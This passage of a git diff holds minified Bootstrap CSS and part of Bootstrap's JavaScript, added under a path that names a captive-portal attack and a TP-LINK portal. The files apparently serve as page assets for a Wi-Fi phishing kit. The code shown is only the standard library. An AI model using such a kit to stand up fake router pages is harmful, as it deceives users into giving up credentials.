.list-group-item:first-child{border-top-width:0}.list-group+.panel-footer{border-top-width:0}.panel>.panel-collapse>.table,.panel>.table,.panel>.table-responsive>.table{margin-bottom:0}.panel>.panel-collapse>.table caption,.panel>.table caption,.panel>.table-responsive>.table caption{padding-right:15px;padding-left:15px}.panel>.table-responsive:first-child>.table:first-child,.panel>.table:first-child{border-top-left-radius:3px;border-top-right-radius:3px}.panel>.table-responsive:first-child>.table:first-child>tbody:first-child>tr:first-child,.panel>.table-responsive:first-child>.table:first-child>thead:first-child>tr:first-child,.panel>.table:first-child>tbody:first-child>tr:first-child,.panel>.table:first-child>thead:first-child>tr:first-child{border-top-left-radius:3px;border-top-right-radius:3px}.panel>.table-responsive:first-child>.table:first-child>tbody:first-child>tr:first-child td:first-child,.panel>.table-responsive:first-child>.table:first-child>tbody:first-child>tr:first-child th:first-child,.panel>.table-responsive:first-child>.table:first-child>thead:first-child>tr:first-child td:first-child,.panel>.table-responsive:first-child>.table:first-child>thead:first-child>tr:first-child th:first-child,.panel>.table:first-child>tbody:first-child>tr:first-child td:first-child,.panel>.table:first-child>tbody:first-child>tr:first-child th:first-child,.panel>.table:first-child>thead:first-child>tr:first-child td:first-child,.panel>.table:first-child>thead:first-child>tr:first-child th:first-child{border-top-left-radius:3px}.panel>.table-responsive:first-child>.table:first-child>tbody:first-child>tr:first-child td:last-child,.panel>.table-responsive:first-child>.table:first-child>tbody:first-child>tr:first-child th:last-child,.panel>.table-responsive:first-child>.table:first-child>thead:first-child>tr:first-child td:last-child,.panel>.table-responsive:first-child>.table:first-child>thead:first-child>tr:first-child th:last-child,.panel>.table:first-child>tbody:first-child>tr:first-child td:last-child,.panel>.table:first-child>tbody:first-child>tr:first-child th:last-child,.panel>.table:first-child>thead:first-child>tr:first-child td:last-child,.panel>.table:first-child>thead:first-child>tr:first-child th:last-child{border-top-right-radius:3px}.panel>.table-responsive:last-child>.table:last-child,.panel>.table:last-child{border-bottom-right-radius:3px;border-bottom-left-radius:3px}.panel>.table-responsive:last-child>.table:last-child>tbody:last-child>tr:last-child,.panel>.table-responsive:last-child>.table:last-child>tfoot:last-child>tr:last-child,.panel>.table:last-child>tbody:last-child>tr:last-child,.panel>.table:last-child>tfoot:last-child>tr:last-child{border-bottom-right-radius:3px;border-bottom-left-radius:3px}.panel>.table-responsive:last-child>.table:last-child>tbody:last-child>tr:last-child td:first-child,.panel>.table-responsive:last-child>.table:last-child>tbody:last-child>tr:last-child th:first-child,.panel>.table-responsive:last-child>.table:last-child>tfoot:last-child>tr:last-child td:first-child,.panel>.table-responsive:last-child>.table:last-child>tfoot:last-child>tr:last-child th:first-child,.panel>.table:last-child>tbody:last-child>tr:last-child td:first-child,.panel>.table:last-child>tbody:last-child>tr:last-child th:first-child,.panel>.table:last-child>tfoot:last-child>tr:last-child td:first-child,.panel>.table:last-child>tfoot:last-child>tr:last-child th:first-child{border-bottom-left-radius:3px}.panel>.table-responsive:last-child>.table:last-child>tbody:last-child>tr:last-child td:last-child,.panel>.table-responsive:last-child>.table:last-child>tbody:last-child>tr:last-child th:last-child,.panel>.table-responsive:last-child>.table:last-child>tfoot:last-child>tr:last-child td:last-child,.panel>.table-responsive:last-child>.table:last-child>tfoot:last-child>tr:last-child th:last-child,.panel>.table:last-child>tbody:last-child>tr:last-child td:last-child,.panel>.table:last-child>tbody:last-child>tr:last-child th:last-child,.panel>.table:last-child>tfoot:last-child>tr:last-child td:last-child,.panel>.table:last-child>tfoot:last-child>tr:last-child th:last-child{border-bottom-right-radius:3px}.panel>.panel-body+.table,.panel>.panel-body+.table-responsive,.panel>.table+.panel-body,.panel>.table-responsive+.panel-body{border-top:1px solid #ddd}.panel>.table>tbody:first-child>tr:first-child td,.panel>.table>tbody:first-child>tr:first-child th{border-top:0}.panel>.table-bordered,.panel>.table-responsive>.table-bordered{border:0}.panel>.table-bordered>tbody>tr>td:first-child,.panel>.table-bordered>tbody>tr>th:first-child,.panel>.table-bordered>tfoot>tr>td:first-child,.panel>.table-bordered>tfoot>tr>th:first-child,.panel>.table-bordered>thead>tr>td:first-child,.panel>.table-bordered>thead>tr>th:first-child,.panel>.table-responsive>.table-bordered>tbody>tr>td:first-child,.panel>.table-responsive>.table-bordered>tbody>tr>th:first-child,.panel>.table-responsive>.table-bordered>tfoot>tr>td:first-child,.panel>.table-responsive>.table-bordered>tfoot>tr>th:first-child,.panel>.table-responsive>.table-bordered>thead>tr>td:first-child,.panel>.table-responsive>.table-bordered>thead>tr>th:first-child{border-left:0}.panel>.table-bordered>tbody>tr>td:last-child,.panel>.table-bordered>tbody>tr>th:last-child,.panel>.table-bordered>tfoot>tr>td:last-child,.panel>.table-bordered>tfoot>tr>th:last-child,.panel>.table-bordered>thead>tr>td:last-child,.panel>.table-bordered>thead>tr>th:last-child,.panel>.table-responsive>.table-bordered>tbody>tr>td:last-child,.panel>.table-responsive>.table-bordered>tbody>tr>th:last-child,.panel>.table-responsive>.table-bordered>tfoot>tr>td:last-child,.panel>.table-responsive>.table-bordered>tfoot>tr>th:last-child,.panel>.table-responsive>.table-bordered>thead>tr>td:last-child,.panel>.table-responsive>.table-bordered>thead>tr>th:last-child{border-right:0}.panel>.table-bordered>tbody>tr:first-child>td,.panel>.table-bordered>tbody>tr:first-child>th,.panel>.table-bordered>thead>tr:first-child>td,.panel>.table-bordered>thead>tr:first-child>th,.panel>.table-responsive>.table-bordered>tbody>tr:first-child>td,.panel>.table-responsive>.table-bordered>tbody>tr:first-child>th,.panel>.table-responsive>.table-bordered>thead>tr:first-child>td,.panel>.table-responsive>.table-bordered>thead>tr:first-child>th{border-bottom:0}.panel>.table-bordered>tbody>tr:last-child>td,.panel>.table-bordered>tbody>tr:last-child>th,.panel>.table-bordered>tfoot>tr:last-child>td,.panel>.table-bordered>tfoot>tr:last-child>th,.panel>.table-responsive>.table-bordered>tbody>tr:last-child>td,.panel>.table-responsive>.table-bordered>tbody>tr:last-child>th,.panel>.table-responsive>.table-bordered>tfoot>tr:last-child>td,.panel>.table-responsive>.table-bordered>tfoot>tr:last-child>th{border-bottom:0}.panel>.table-responsive{margin-bottom:0;border:0}.panel-group{margin-bottom:20px}.panel-group .panel{margin-bottom:0;border-radius:4px}.panel-group .panel+.panel{margin-top:5px}.panel-group .panel-heading{border-bottom:0}.panel-group .panel-heading+.panel-collapse>.list-group,.panel-group .panel-heading+.panel-collapse>.panel-body{border-top:1px solid #ddd}.panel-group .panel-footer{border-top:0}.panel-group .panel-footer+.panel-collapse .panel-body{border-bottom:1px solid #ddd}.panel-default{border-color:#ddd}.panel-default>.panel-heading{color:#333;background-color:#f5f5f5;border-color:#ddd}.panel-default>.panel-heading+.panel-collapse>.panel-body{border-top-color:#ddd}.panel-default>.panel-heading .badge{color:#f5f5f5;background-color:#333}.panel-default>.panel-footer+.panel-collapse>.panel-body{border-bottom-color:#ddd}.panel-primary{border-color:#337ab7}.panel-primary>.panel-heading{color:#fff;background-color:#337ab7;border-color:#337ab7}.panel-primary>.panel-heading+.panel-collapse>.panel-body{border-top-color:#337ab7}.panel-primary>.panel-heading .badge{color:#337ab7;background-color:#fff}.panel-primary>.panel-footer+.panel-collapse>.panel-body{border-bottom-color:#337ab7}.panel-success{border-color:#d6e9c6}.panel-success>.panel-heading{color:#3c763d;background-color:#dff0d8;border-color:#d6e9c6}.panel-success>.panel-heading+.panel-collapse>.panel-body{border-top-color:#d6e9c6}.panel-success>.panel-heading .badge{color:#dff0d8;background-color:#3c763d}.panel-success>.panel-footer+.panel-collapse>.panel-body{border-bottom-color:#d6e9c6}.panel-info{border-color:#bce8f1}.panel-info>.panel-heading{color:#31708f;background-color:#d9edf7;border-color:#bce8f1}.panel-info>.panel-heading+.panel-collapse>.panel-body{border-top-color:#bce8f1}.panel-info>.panel-heading .badge{color:#d9edf7;background-color:#31708f}.panel-info>.panel-footer+.panel-collapse>.panel-body{border-bottom-color:#bce8f1}.panel-warning{border-color:#faebcc}.panel-warning>.panel-heading{color:#8a6d3b;background-color:#fcf8e3;border-color:#faebcc}.panel-warning>.panel-heading+.panel-collapse>.panel-body{border-top-color:#faebcc}.panel-warning>.panel-heading .badge{color:#fcf8e3;background-color:#8a6d3b}.panel-warning>.panel-footer+.panel-collapse>.panel-body{border-bottom-color:#faebcc}.panel-danger{border-color:#ebccd1}.panel-danger>.panel-heading{color:#a94442;background-color:#f2dede;border-color:#ebccd1}.panel-danger>.panel-heading+.panel-collapse>.panel-body{border-top-color:#ebccd1}.panel-danger>.panel-heading .badge{color:#f2dede;background-color:#a94442}.panel-danger>.panel-footer+.panel-collapse>.panel-body{border-bottom-color:#ebccd1}.embed-responsive{position:relative;display:block;height:0;padding:0;overflow:hidden}.embed-responsive .embed-responsive-item,.embed-responsive embed,.embed-responsive iframe,.embed-responsive object,.embed-responsive video{position:absolute;top:0;bottom:0;left:0;width:100%;height:100%;border:0}.embed-responsive-16by9{padding-bottom:56.25%}.embed-responsive-4by3{padding-bottom:75%}.well{min-height:20px;padding:19px;margin-bottom:20px;background-color:#f5f5f5;border:1px solid #e3e3e3;border-radius:4px;-webkit-box-shadow:inset 0 1px 1px rgba(0,0,0,.05);box-shadow:inset 0 1px 1px rgba(0,0,0,.05)}.well blockquote{border-color:#ddd;border-color:rgba(0,0,0,.15)}.well-lg{padding:24px;border-radius:6px}.well-sm{padding:9px;border-radius:3px}.close{float:right;font-size:21px;font-weight:700;line-height:1;color:#000;text-shadow:0 1px 0 #fff;filter:alpha(opacity=20);opacity:.2}.close:focus,.close:hover{color:#000;text-decoration:none;cursor:pointer;filter:alpha(opacity=50);opacity:.5}button.close{-webkit-appearance:none;padding:0;cursor:pointer;background:0;border:0}.modal-open{overflow:hidden}.modal{position:fixed;top:0;right:0;bottom:0;left:0;z-index:1050;display:none;overflow:hidden;-webkit-overflow-scrolling:touch;outline:0}.modal.fade .modal-dialog{-webkit-transition:-webkit-transform .3s ease-out;-o-transition:-o-transform .3s ease-out;transition:transform .3s ease-out;-webkit-transform:translate(0,-25%);-ms-transform:translate(0,-25%);-o-transform:translate(0,-25%);transform:translate(0,-25%)}.modal.in .modal-dialog{-webkit-transform:translate(0,0);-ms-transform:translate(0,0);-o-transform:translate(0,0);transform:translate(0,0)}.modal-open .modal{overflow-x:hidden;overflow-y:auto}.modal-dialog{position:relative;width:auto;margin:10px}.modal-content{position:relative;background-color:#fff;-webkit-background-clip:padding-box;background-clip:padding-box;border:1px solid #999;border:1px solid rgba(0,0,0,.2);border-radius:6px;outline:0;-webkit-box-shadow:0 3px 9px rgba(0,0,0,.5);box-shadow:0 3px 9px rgba(0,0,0,.5)}.modal-backdrop{position:fixed;top:0;right:0;bottom:0;left:0;z-index:1040;background-color:#000}.modal-backdrop.fade{filter:alpha(opacity=0);opacity:0}.modal-backdrop.in{filter:alpha(opacity=50);opacity:.5}.modal-header{padding:15px;border-bottom:1px solid #e5e5e5}.modal-header .close{margin-top:-2px}.modal-title{margin:0;line-height:1.42857143}.modal-body{position:relative;padding:15px}.modal-footer{padding:15px;text-align:right;border-top:1px solid #e5e5e5}.modal-footer .btn+.btn{margin-bottom:0;margin-left:5px}.modal-footer .btn-group .btn+.btn{margin-left:-1px}.modal-footer .btn-block+.btn-block{margin-left:0}.modal-scrollbar-measure{position:absolute;top:-9999px;width:50px;height:50px;overflow:scroll}@media(min-width:768px){.modal-dialog{width:600px;margin:30px auto}.modal-content{-webkit-box-shadow:0 5px 15px rgba(0,0,0,.5);box-shadow:0 5px 15px rgba(0,0,0,.5)}.modal-sm{width:300px}}@media(min-width:992px){.modal-lg{width:900px}}.tooltip{position:absolute;z-index:1070;display:block;font-family:"Helvetica Neue",Helvetica,Arial,sans-serif;font-size:12px;font-style:normal;font-weight:400;line-height:1.42857143;text-align:left;text-align:start;text-decoration:none;text-shadow:none;text-transform:none;letter-spacing:normal;word-break:normal;word-spacing:normal;word-wrap:normal;white-space:normal;filter:alpha(opacity=0);opacity:0;line-break:auto}.tooltip.in{filter:alpha(opacity=90);opacity:.9}.tooltip.top{padding:5px 0;margin-top:-3px}.tooltip.right{padding:0 5px;margin-left:3px}.tooltip.bottom{padding:5px 0;margin-top:3px}.tooltip.left{padding:0 5px;margin-left:-3px}.tooltip-inner{max-width:200px;padding:3px 8px;color:#fff;text-align:center;background-color:#000;border-radius:4px}.tooltip-arrow{position:absolute;width:0;height:0;border-color:transparent;border-style:solid}.tooltip.top .tooltip-arrow{bottom:0;left:50%;margin-left:-5px;border-width:5px 5px 0;border-top-color:#000}.tooltip.top-left .tooltip-arrow{right:5px;bottom:0;margin-bottom:-5px;border-width:5px 5px 0;border-top-color:#000}.tooltip.top-right .tooltip-arrow{bottom:0;left:5px;margin-bottom:-5px;border-width:5px 5px 0;border-top-color:#000}.tooltip.right .tooltip-arrow{top:50%;left:0;margin-top:-5px;border-width:5px 5px 5px 0;border-right-color:#000}.tooltip.left .tooltip-arrow{top:50%;right:0;margin-top:-5px;border-width:5px 0 5px 5px;border-left-color:#000}.tooltip.bottom .tooltip-arrow{top:0;left:50%;margin-left:-5px;border-width:0 5px 5px;border-bottom-color:#000}.tooltip.bottom-left .tooltip-arrow{top:0;right:5px;margin-top:-5px;border-width:0 5px 5px;border-bottom-color:#000}.tooltip.bottom-right .tooltip-arrow{top:0;left:5px;margin-top:-5px;border-width:0 5px 5px;border-bottom-color:#000}.popover{position:absolute;top:0;left:0;z-index:1060;display:none;max-width:276px;padding:1px;font-family:"Helvetica Neue",Helvetica,Arial,sans-serif;font-size:14px;font-style:normal;font-weight:400;line-height:1.42857143;text-align:left;text-align:start;text-decoration:none;text-shadow:none;text-transform:none;letter-spacing:normal;word-break:normal;word-spacing:normal;word-wrap:normal;white-space:normal;background-color:#fff;-webkit-background-clip:padding-box;background-clip:padding-box;border:1px solid #ccc;border:1px solid rgba(0,0,0,.2);border-radius:6px;-webkit-box-shadow:0 5px 10px rgba(0,0,0,.2);box-shadow:0 5px 10px rgba(0,0,0,.2);line-break:auto}.popover.top{margin-top:-10px}.popover.right{margin-left:10px}.popover.bottom{margin-top:10px}.popover.left{margin-left:-10px}.popover-title{padding:8px 14px;margin:0;font-size:14px;background-color:#f7f7f7;border-bottom:1px solid #ebebeb;border-radius:5px 5px 0 0}.popover-content{padding:9px 14px}.popover>.arrow,.popover>.arrow:after{position:absolute;display:block;width:0;height:0;border-color:transparent;border-style:solid}.popover>.arrow{border-width:11px}.popover>.arrow:after{content:"";border-width:10px}.popover.top>.arrow{bottom:-11px;left:50%;margin-left:-11px;border-top-color:#999;border-top-color:rgba(0,0,0,.25);border-bottom-width:0}.popover.top>.arrow:after{bottom:1px;margin-left:-10px;content:" ";border-top-color:#fff;border-bottom-width:0}.popover.right>.arrow{top:50%;left:-11px;margin-top:-11px;border-right-color:#999;border-right-color:rgba(0,0,0,.25);border-left-width:0}.popover.right>.arrow:after{bottom:-10px;left:1px;content:" ";border-right-color:#fff;border-left-width:0}.popover.bottom>.arrow{top:-11px;left:50%;margin-left:-11px;border-top-width:0;border-bottom-color:#999;border-bottom-color:rgba(0,0,0,.25)}.popover.bottom>.arrow:after{top:1px;margin-left:-10px;content:" ";border-top-width:0;border-bottom-color:#fff}.popover.left>.arrow{top:50%;right:-11px;margin-top:-11px;border-right-width:0;border-left-color:#999;border-left-color:rgba(0,0,0,.25)}.popover.left>.arrow:after{right:1px;bottom:-10px;content:" ";border-right-width:0;border-left-color:#fff}.carousel{position:relative}.carousel-inner{position:relative;width:100%;overflow:hidden}.carousel-inner>.item{position:relative;display:none;-webkit-transition:.6s ease-in-out left;-o-transition:.6s ease-in-out left;transition:.6s ease-in-out left}.carousel-inner>.item>a>img,.carousel-inner>.item>img{line-height:1}@media all and (transform-3d),(-webkit-transform-3d){.carousel-inner>.item{-webkit-transition:-webkit-transform .6s ease-in-out;-o-transition:-o-transform .6s ease-in-out;transition:transform .6s ease-in-out;-webkit-backface-visibility:hidden;backface-visibility:hidden;-webkit-perspective:1000px;perspective:1000px}.carousel-inner>.item.active.right,.carousel-inner>.item.next{left:0;-webkit-transform:translate3d(100%,0,0);transform:translate3d(100%,0,0)}.carousel-inner>.item.active.left,.carousel-inner>.item.prev{left:0;-webkit-transform:translate3d(-100%,0,0);transform:translate3d(-100%,0,0)}.carousel-inner>.item.active,.carousel-inner>.item.next.left,.carousel-inner>.item.prev.right{left:0;-webkit-transform:translate3d(0,0,0);transform:translate3d(0,0,0)}}.carousel-inner>.active,.carousel-inner>.next,.carousel-inner>.prev{display:block}.carousel-inner>.active{left:0}.carousel-inner>.next,.carousel-inner>.prev{position:absolute;top:0;width:100%}.carousel-inner>.next{left:100%}.carousel-inner>.prev{left:-100%}.carousel-inner>.next.left,.carousel-inner>.prev.right{left:0}.carousel-inner>.active.left{left:-100%}.carousel-inner>.active.right{left:100%}.carousel-control{position:absolute;top:0;bottom:0;left:0;width:15%;font-size:20px;color:#fff;text-align:center;text-shadow:0 1px 2px rgba(0,0,0,.6);background-color:rgba(0,0,0,0);filter:alpha(opacity=50);opacity:.5}.carousel-control.left{background-image:-webkit-linear-gradient(left,rgba(0,0,0,.5) 0,rgba(0,0,0,.0001) 100%);background-image:-o-linear-gradient(left,rgba(0,0,0,.5) 0,rgba(0,0,0,.0001) 100%);background-image:-webkit-gradient(linear,left top,right top,from(rgba(0,0,0,.5)),to(rgba(0,0,0,.0001)));background-image:linear-gradient(to right,rgba(0,0,0,.5) 0,rgba(0,0,0,.0001) 100%);filter:progid:DXImageTransform.Microsoft.gradient(startColorstr='#80000000',endColorstr='#00000000',GradientType=1);background-repeat:repeat-x}.carousel-control.right{right:0;left:auto;background-image:-webkit-linear-gradient(left,rgba(0,0,0,.0001) 0,rgba(0,0,0,.5) 100%);background-image:-o-linear-gradient(left,rgba(0,0,0,.0001) 0,rgba(0,0,0,.5) 100%);background-image:-webkit-gradient(linear,left top,right top,from(rgba(0,0,0,.0001)),to(rgba(0,0,0,.5)));background-image:linear-gradient(to right,rgba(0,0,0,.0001) 0,rgba(0,0,0,.5) 100%);filter:progid:DXImageTransform.Microsoft.gradient(startColorstr='#00000000',endColorstr='#80000000',GradientType=1);background-repeat:repeat-x}.carousel-control:focus,.carousel-control:hover{color:#fff;text-decoration:none;filter:alpha(opacity=90);outline:0;opacity:.9}.carousel-control .glyphicon-chevron-left,.carousel-control .glyphicon-chevron-right,.carousel-control .icon-next,.carousel-control .icon-prev{position:absolute;top:50%;z-index:5;display:inline-block;margin-top:-10px}.carousel-control .glyphicon-chevron-left,.carousel-control .icon-prev{left:50%;margin-left:-10px}.carousel-control .glyphicon-chevron-right,.carousel-control .icon-next{right:50%;margin-right:-10px}.carousel-control .icon-next,.carousel-control .icon-prev{width:20px;height:20px;font-family:serif;line-height:1}.carousel-control .icon-prev:before{content:'\2039'}.carousel-control .icon-next:before{content:'\203a'}.carousel-indicators{position:absolute;bottom:10px;left:50%;z-index:15;width:60%;padding-left:0;margin-left:-30%;text-align:center;list-style:none}.carousel-indicators li{display:inline-block;width:10px;height:10px;margin:1px;text-indent:-999px;cursor:pointer;background-color:#000\9;background-color:rgba(0,0,0,0);border:1px solid #fff;border-radius:10px}.carousel-indicators .active{width:12px;height:12px;margin:0;background-color:#fff}.carousel-caption{position:absolute;right:15%;bottom:20px;left:15%;z-index:10;padding-top:20px;padding-bottom:20px;color:#fff;text-align:center;text-shadow:0 1px 2px rgba(0,0,0,.6)}.carousel-caption .btn{text-shadow:none}@media screen and (min-width:768px){.carousel-control .glyphicon-chevron-left,.carousel-control .glyphicon-chevron-right,.carousel-control .icon-next,.carousel-control .icon-prev{width:30px;height:30px;margin-top:-10px;font-size:30px}.carousel-control .glyphicon-chevron-left,.carousel-control .icon-prev{margin-left:-10px}.carousel-control .glyphicon-chevron-right,.carousel-control .icon-next{margin-right:-10px}.carousel-caption{right:20%;left:20%;padding-bottom:30px}.carousel-indicators{bottom:20px}}.btn-group-vertical>.btn-group:after,.btn-group-vertical>.btn-group:before,.btn-toolbar:after,.btn-toolbar:before,.clearfix:after,.clearfix:before,.container-fluid:after,.container-fluid:before,.container:after,.container:before,.dl-horizontal dd:after,.dl-horizontal dd:before,.form-horizontal .form-group:after,.form-horizontal .form-group:before,.modal-footer:after,.modal-footer:before,.modal-header:after,.modal-header:before,.nav:after,.nav:before,.navbar-collapse:after,.navbar-collapse:before,.navbar-header:after,.navbar-header:before,.navbar:after,.navbar:before,.pager:after,.pager:before,.panel-body:after,.panel-body:before,.row:after,.row:before{display:table;content:" "}.btn-group-vertical>.btn-group:after,.btn-toolbar:after,.clearfix:after,.container-fluid:after,.container:after,.dl-horizontal dd:after,.form-horizontal .form-group:after,.modal-footer:after,.modal-header:after,.nav:after,.navbar-collapse:after,.navbar-header:after,.navbar:after,.pager:after,.panel-body:after,.row:after{clear:both}.center-block{display:block;margin-right:auto;margin-left:auto}.pull-right{float:right !important}.pull-left{float:left !important}.hide{display:none !important}.show{display:block !important}.invisible{visibility:hidden}.text-hide{font:0/0 a;color:transparent;text-shadow:none;background-color:transparent;border:0}.hidden{display:none !important}.affix{position:fixed}@-ms-viewport{width:device-width}.visible-lg,.visible-md,.visible-sm,.visible-xs{display:none !important}.visible-lg-block,.visible-lg-inline,.visible-lg-inline-block,.visible-md-block,.visible-md-inline,.visible-md-inline-block,.visible-sm-block,.visible-sm-inline,.visible-sm-inline-block,.visible-xs-block,.visible-xs-inline,.visible-xs-inline-block{display:none !important}@media(max-width:767px){.visible-xs{display:block !important}table.visible-xs{display:table !important}tr.visible-xs{display:table-row !important}td.visible-xs,th.visible-xs{display:table-cell !important}}@media(max-width:767px){.visible-xs-block{display:block !important}}@media(max-width:767px){.visible-xs-inline{display:inline !important}}@media(max-width:767px){.visible-xs-inline-block{display:inline-block !important}}@media(min-width:768px) and (max-width:991px){.visible-sm{display:block !important}table.visible-sm{display:table !important}tr.visible-sm{display:table-row !important}td.visible-sm,th.visible-sm{display:table-cell !important}}@media(min-width:768px) and (max-width:991px){.visible-sm-block{display:block !important}}@media(min-width:768px) and (max-width:991px){.visible-sm-inline{display:inline !important}}@media(min-width:768px) and (max-width:991px){.visible-sm-inline-block{display:inline-block !important}}@media(min-width:992px) and (max-width:1199px){.visible-md{display:block !important}table.visible-md{display:table !important}tr.visible-md{display:table-row !important}td.visible-md,th.visible-md{display:table-cell !important}}@media(min-width:992px) and (max-width:1199px){.visible-md-block{display:block !important}}@media(min-width:992px) and (max-width:1199px){.visible-md-inline{display:inline !important}}@media(min-width:992px) and (max-width:1199px){.visible-md-inline-block{display:inline-block !important}}@media(min-width:1200px){.visible-lg{display:block !important}table.visible-lg{display:table !important}tr.visible-lg{display:table-row !important}td.visible-lg,th.visible-lg{display:table-cell !important}}@media(min-width:1200px){.visible-lg-block{display:block !important}}@media(min-width:1200px){.visible-lg-inline{display:inline !important}}@media(min-width:1200px){.visible-lg-inline-block{display:inline-block !important}}@media(max-width:767px){.hidden-xs{display:none !important}}@media(min-width:768px) and (max-width:991px){.hidden-sm{display:none !important}}@media(min-width:992px) and (max-width:1199px){.hidden-md{display:none !important}}@media(min-width:1200px){.hidden-lg{display:none !important}}.visible-print{display:none !important}@media print{.visible-print{display:block !important}table.visible-print{display:table !important}tr.visible-print{display:table-row !important}td.visible-print,th.visible-print{display:table-cell !important}}.visible-print-block{display:none !important}@media print{.visible-print-block{display:block !important}}.visible-print-inline{display:none !important}@media print{.visible-print-inline{display:inline !important}}.visible-print-inline-block{display:none !important}@media print{.visible-print-inline-block{display:inline-block !important}}@media print{.hidden-print{display:none !important}} \ No newline at end of file diff --git a/attacks/Captive Portal/sites/TP-LINK_en.portal/bootstrap.min.js b/attacks/Captive Portal/sites/TP-LINK_en.portal/bootstrap.min.js new file mode 100755 index 0000000..80828ab --- /dev/null +++ b/attacks/Captive Portal/sites/TP-LINK_en.portal/bootstrap.min.js @@ -0,0 +1 @@ +if("undefined"==typeof jQuery)throw new Error("Bootstrap's JavaScript requires jQuery");+function(a){"use strict";var b=a.fn.jquery.split(" ")[0].split(".");if(b[0]<2&&b[1]<9||1==b[0]&&9==b[1]&&b[2]<1||b[0]>2)throw new Error("Bootstrap's JavaScript requires jQuery version 1.9.1 or higher, but lower than version 3")}(jQuery),+function(a){"use strict";function b(){var a=document.createElement("bootstrap"),b={WebkitTransition:"webkitTransitionEnd",MozTransition:"transitionend",OTransition:"oTransitionEnd otransitionend",transition:"transitionend"};for(var c in b)if(void 0!==a.style[c])return{end:b[c]};return!1}a.fn.emulateTransitionEnd=function(b){var c=!1,d=this;a(this).one("bsTransitionEnd",function(){c=!0});var e=function(){c||a(d).trigger(a.support.transition.end)};return setTimeout(e,b),this},a(function(){a.support.transition=b(),a.support.transition&&(a.event.special.bsTransitionEnd={bindType:a.support.transition.end,delegateType:a.support.transition.end,handle:function(b){return a(b.target).is(this)?b.handleObj.handler.apply(this,arguments):void 0}})})}(jQuery),+function(a){"use strict";function b(b){return this.each(function(){var c=a(this),e=c.data("bs.alert");e||c.data("bs.alert",e=new d(this)),"string"==typeof b&&e[b].call(c)})}var c='[data-dismiss="alert"]',d=function(b){a(b).on("click",c,this.close)};d.VERSION="3.3.6",d.TRANSITION_DURATION=150,d.prototype.close=function(b){function c(){g.detach().trigger("closed.bs.alert").remove()}var e=a(this),f=e.attr("data-target");f||(f=e.attr("href"),f=f&&f.replace(/.*(?=#[^\s]*$)/,""));var g=a(f);b&&b.preventDefault(),g.length||(g=e.closest(".alert")),g.trigger(b=a.Event("close.bs.alert")),b.isDefaultPrevented()||(g.removeClass("in"),a.support.transition&&g.hasClass("fade")?g.one("bsTransitionEnd",c).emulateTransitionEnd(d.TRANSITION_DURATION):c())};var e=a.fn.alert;a.fn.alert=b,a.fn.alert.Constructor=d,a.fn.alert.noConflict=function(){return a.fn.alert=e,this},a(document).on("click.bs.alert.data-api",c,d.prototype.close)}(jQuery),+function(a){"use strict";function b(b){return this.each(function(){var d=a(this),e=d.data("bs.button"),f="object"==typeof b&&b;e||d.data("bs.button",e=new c(this,f)),"toggle"==b?e.toggle():b&&e.setState(b)})}var c=function(b,d){this.$element=a(b),this.options=a.extend({},c.DEFAULTS,d),this.isLoading=!1};c.VERSION="3.3.6",c.DEFAULTS={loadingText:"loading..."},c.prototype.setState=function(b){var c="disabled",d=this.$element,e=d.is("input")?"val":"html",f=d.data();b+="Text",null==f.resetText&&d.data("resetText",d[e]()),setTimeout(a.proxy(function(){d[e](null==f[b]?this.options[b]:f[b]),"loadingText"==b?(this.isLoading=!0,d.addClass(c).attr(c,c)):this.isLoading&&(this.isLoading=!1,d.removeClass(c).removeAttr(c))},this),0)},c.prototype.toggle=function(){var a=!0,b=this.$element.closest('[data-toggle="buttons"]');if(b.length){var c=this.$element.find("input");"radio"==c.prop("type")?(c.prop("checked")&&(a=!1),b.find(".active").removeClass("active"),this.$element.addClass("active")):"checkbox"==c.prop("type")&&(c.prop("checked")!==this.$element.hasClass("active")&&(a=!1),this.$element.toggleClass("active")),c.prop("checked",this.$element.hasClass("active")),a&&c.trigger("change")}else this.$element.attr("aria-pressed",!this.$element.hasClass("active")),this.$element.toggleClass("active")};var d=a.fn.button;a.fn.button=b,a.fn.button.Constructor=c,a.fn.button.noConflict=function(){return a.fn.button=d,this},a(document).on("click.bs.button.data-api",'[data-toggle^="button"]',function(c){var d=a(c.target);d.hasClass("btn")||(d=d.closest(".btn")),b.call(d,"toggle"),a(c.target).is('input[type="radio"]')||a(c.target).is('input[type="checkbox"]')||c.preventDefault()}).on("focus.bs.button.data-api blur.bs.button.data-api",'[data-toggle^="button"]',function(b){a(b.target).closest(".btn").toggleClass("focus",/^focus(in)?$/.test(b.type))})}(jQuery),+function(a){"use strict";function b(b){return this.each(function(){var d=a(this),e=d.data("bs.carousel"),f=a.extend({},c.DEFAULTS,d.data(),"object"==typeof b&&b),g="string"==typeof b?b:f.slide;e||d.data("bs.carousel",e=new c(this,f)),"number"==typeof b?e.to(b):g?e[g]():f.interval&&e.pause().cycle()})}var c=function(b,c){this.$element=a(b),this.$indicators=this.$element.find(".carousel-indicators"),this.options=c,this.paused=null,this.sliding=null,this.interval=null,this.$active=null,this.$items=null,this.options.keyboard&&this.$element.on("keydown.bs.carousel",a.proxy(this.keydown,this)),"hover"==this.options.pause&&!("ontouchstart"in document.documentElement)&&this.$element.on("mouseenter.bs.carousel",a.proxy(this.pause,this)).on("mouseleave.bs.carousel",a.proxy(this.cycle,this))};c.VERSION="3.3.6",c.TRANSITION_DURATION=600,c.DEFAULTS={interval:5e3,pause:"hover",wrap:!0,keyboard:!0},c.prototype.keydown=function(a){if(!/input|textarea/i.test(a.target.tagName)){switch(a.which){case 37:this.prev();break;case 39:this.next();break;default:return}a.preventDefault()}},c.prototype.cycle=function(b){return b||(this.paused=!1),this.interval&&clearInterval(this.interval),this.options.interval&&!this.paused&&(this.interval=setInterval(a.proxy(this.next,this),this.options.interval)),this},c.prototype.getItemIndex=function(a){return this.$items=a.parent().children(".item"),this.$items.index(a||this.$active)},c.prototype.getItemForDirection=function(a,b){var c=this.getItemIndex(b),d="prev"==a&&0===c||"next"==a&&c==this.$items.length-1;if(d&&!this.options.wrap)return b;var e="prev"==a?-1:1,f=(c+e)%this.$items.length;return this.$items.eq(f)},c.prototype.to=function(a){var b=this,c=this.getItemIndex(this.$active=this.$element.find(".item.active"));return a>this.$items.length-1||0>a?void 0:this.sliding?this.$element.one("slid.bs.carousel",function(){b.to(a)}):c==a?this.pause().cycle():this.slide(a>c?"next":"prev",this.$items.eq(a))},c.prototype.pause=function(b){return b||(this.paused=!0),this.$element.find(".next, .prev").length&&a.support.transition&&(this.$element.trigger(a.support.transition.end),this.cycle(!0)),this.interval=clearInterval(this.interval),this},c.prototype.next=function(){return this.sliding?void 